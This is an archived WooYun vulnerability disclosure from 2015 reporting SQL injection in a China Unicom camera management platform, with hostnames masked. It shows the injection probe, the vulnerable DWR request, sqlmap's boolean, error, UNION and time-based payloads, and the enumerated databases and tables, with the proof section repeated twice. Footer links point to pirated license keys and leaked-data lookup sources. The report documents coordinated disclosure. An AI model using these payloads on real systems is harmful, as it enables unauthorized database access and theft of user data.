中国联通某摄像管理平台存在SQL注入漏洞
- 发表于
- WooYun漏洞库
漏洞概要
缺陷编号：WooYun-2015-0121611
漏洞标题：中国联通某摄像管理平台存在SQL注入漏洞
相关厂商：中国联通
漏洞作者：浮萍
提交时间：2015-07-08 17:01
公开时间：2015-08-24 13:04
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签：
漏洞详情
披露状态：
2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认，细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开
简要描述：
SQL注入
详细说明：
偶然看见一个洞就有蓝v的白帽子“我是壮丁” http://**.**.**.**/whitehats/我是壮丁就去看看他发的漏洞http://**.**.**.**/bugs/wooyun-2010-061903然后也发现了一个SQL注入地址**.**.**.**/login.action注册一个账号在用户设置页面添加授权管理人员**.**.**.**/user/settingUser.action已知admin用户存在添加admin
提示正常添加admin'
疑似有问题添加admin'or'1'='1
提示正常然后抓包
1 | **.**.**.**/dwr/call/plaincall/DwrUserInfo.validateAppointUser.dwr?callCount=1&page=%2Fuser%2FsettingUser.action&httpSessionId=&scriptSessionId=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-id=0&c0-param0=string%3Aadmin'or'1'%253D'1&batchId=2&locale=zh_CN |
需要带cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an<br> y)? [y/N] n<br> sqlmap identified the following injection points with a total of 67 HTTP(s) requ<br> ests:<br> ---<br> Place: URI<br> Parameter: #1*<br> Type: boolean-based blind<br> Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=-7303' OR (9955=9955)#&batchId=2&locale=zh_CNType: error-based<br> Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=string:' AND (SELECT 8433 FROM(SELECT COUNT(*),CONCAT(0x71786c697<br> 1,(SELECT (CASE WHEN (8433=8433) THEN 1 ELSE 0 END)),0x71707a7071,FLOOR(RAND(0)*<br> 2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Nimd'='Nimd&batch<br> Id=2&locale=zh_CNType: UNION query<br> Title: MySQL UNION query (NULL) - 3 columns<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=string:' UNION ALL SELECT CONCAT(0x71786c6971,0x66616a73435941424<br> 854,0x71707a7071),NULL,NULL#&batchId=2&locale=zh_CNType: AND/OR time-based blind<br> Title: MySQL < 5.0.12 AND time-based blind (heavy query)<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=string:' AND 7962=BENCHMARK(5000000,MD5(0x424f5269)) AND 'hHRS'='<br> hHRS&batchId=2&locale=zh_CN<br> ---<br> [14:38:29] [INFO] the back-end DBMS is MySQL<br> web application technology: Apache 2.0.64<br> back-end DBMS: MySQL 5.0 |
数据库
1 2 3 4 5 | available databases [5]:<br> [*] db_register<br> [*] dserver_1<br> [*] information_schema<br> [*] mysql<br>[*] test |
当前库current database: 'db_register'其中的表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | Database: db_register<br> [17 tables]<br> +---------------------+<br> | admin |<br> | admin_camera_group |<br> | admin_manage_camera |<br> | appointuser |<br> | appserver |<br> | appserverassign |<br> | appserverinfo |<br> | db_version |<br> | devices |<br> | dserver_names |<br> | dservers |<br> | groups |<br> | languages |<br> | location |<br> | location_names |<br> | news |<br> | users |<br> +---------------------+ |
看看users中的数据条数
漏洞证明：
添加admin
提示正常添加admin'
疑似有问题添加admin'or'1'='1
提示正常然后抓包
1 | **.**.**.**/dwr/call/plaincall/DwrUserInfo.validateAppointUser.dwr?callCount=1&page=%2Fuser%2FsettingUser.action&httpSessionId=&scriptSessionId=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-id=0&c0-param0=string%3Aadmin'or'1'%253D'1&batchId=2&locale=zh_CN |
需要带cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an<br> y)? [y/N] n<br> sqlmap identified the following injection points with a total of 67 HTTP(s) requ<br> ests:<br> ---<br> Place: URI<br> Parameter: #1*<br> Type: boolean-based blind<br> Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=-7303' OR (9955=9955)#&batchId=2&locale=zh_CNType: error-based<br> Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=string:' AND (SELECT 8433 FROM(SELECT COUNT(*),CONCAT(0x71786c697<br> 1,(SELECT (CASE WHEN (8433=8433) THEN 1 ELSE 0 END)),0x71707a7071,FLOOR(RAND(0)*<br> 2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Nimd'='Nimd&batch<br> Id=2&locale=zh_CNType: UNION query<br> Title: MySQL UNION query (NULL) - 3 columns<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=string:' UNION ALL SELECT CONCAT(0x71786c6971,0x66616a73435941424<br> 854,0x71707a7071),NULL,NULL#&batchId=2&locale=zh_CNType: AND/OR time-based blind<br> Title: MySQL < 5.0.12 AND time-based blind (heavy query)<br> Payload: **.**.**.**:80/dwr/call/plaincall/DwrUserInfo.validateAppoin<br> tUser.dwr?callCount=1&page=/user/settingUser.action&httpSessionId=&scriptSession<br> Id=1434695608453&c0-scriptName=DwrUserInfo&c0-methodName=validateAppointUser&c0-<br> id=0&c0-param0=string:' AND 7962=BENCHMARK(5000000,MD5(0x424f5269)) AND 'hHRS'='<br> hHRS&batchId=2&locale=zh_CN<br> ---<br> [14:38:29] [INFO] the back-end DBMS is MySQL<br> web application technology: Apache 2.0.64<br> back-end DBMS: MySQL 5.0 |
数据库
1 2 3 4 5 | available databases [5]:<br> [*] db_register<br> [*] dserver_1<br> [*] information_schema<br> [*] mysql<br>[*] test |
当前库current database: 'db_register'其中的表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | Database: db_register<br> [17 tables]<br> +---------------------+<br> | admin |<br> | admin_camera_group |<br> | admin_manage_camera |<br> | appointuser |<br> | appserver |<br> | appserverassign |<br> | appserverinfo |<br> | db_version |<br> | devices |<br> | dserver_names |<br> | dservers |<br> | groups |<br> | languages |<br> | location |<br> | location_names |<br> | news |<br> | users |<br> +---------------------+ |
看看users中的数据条数
修复方案：
别的地方都过滤了这个地方漏了嘛通用让我找案例，那就不走通用了
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2015-07-1013:02
厂商回复：
CNVD确认并复现所述情况,已经转由CNCERT向中国联通集团公司通报,由其后续协调网站管理部门处置.
最新状态：
暂无
评价
- 2010-01-01 00:00 我是壮丁 白帽子 | Rank:10 漏洞数:1)
可以多看看我发的文章
2010-01-01 00:00 _Thorns 白帽子 | Rank:796 漏洞数:60)@我是壮丁 搞基,没人是你的对手。
2010-01-01 00:00 浮萍 白帽子 | Rank:326 漏洞数:33)@我是壮丁 收到
原文连接：中国联通某摄像管理平台存在SQL注入漏洞 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。
- 2020 Google镜像大全，谷歌镜像网址
- BT磁力搜索引擎大全
- Javaweb架构分析安全之万户ezoffice全版本通杀上传GETSHELL
- 东方网景某严重安全漏洞（可导致上万网站沦陷/域名劫持/FTP服务安全/集群安全等可受到影响）
- 暗网是什么？如何进入暗网？
- 最新ESET NOD32 License Key/激活码/许可证密钥/用户名密码
- No Access-Control-Allow-Origin 跨域错误解决
- 谷歌识图，以图搜图
- 社工库源码大全(持续更新)
- this channel is blocked because it was used：Telegram群组/频道屏蔽解决方法
- 【透明互联网】社工库 Social Engineering Data
- 怎么用图片搜索番号？
- 9部有史以来最好的黑客电影
- 一个绕过Google谷歌验证码（reCAPTCHA）的方法
- 手机BT/种子下载，手机磁力链下载软件整理
扫码分享
验证：
体验盒子扫码分享
打赏零钱
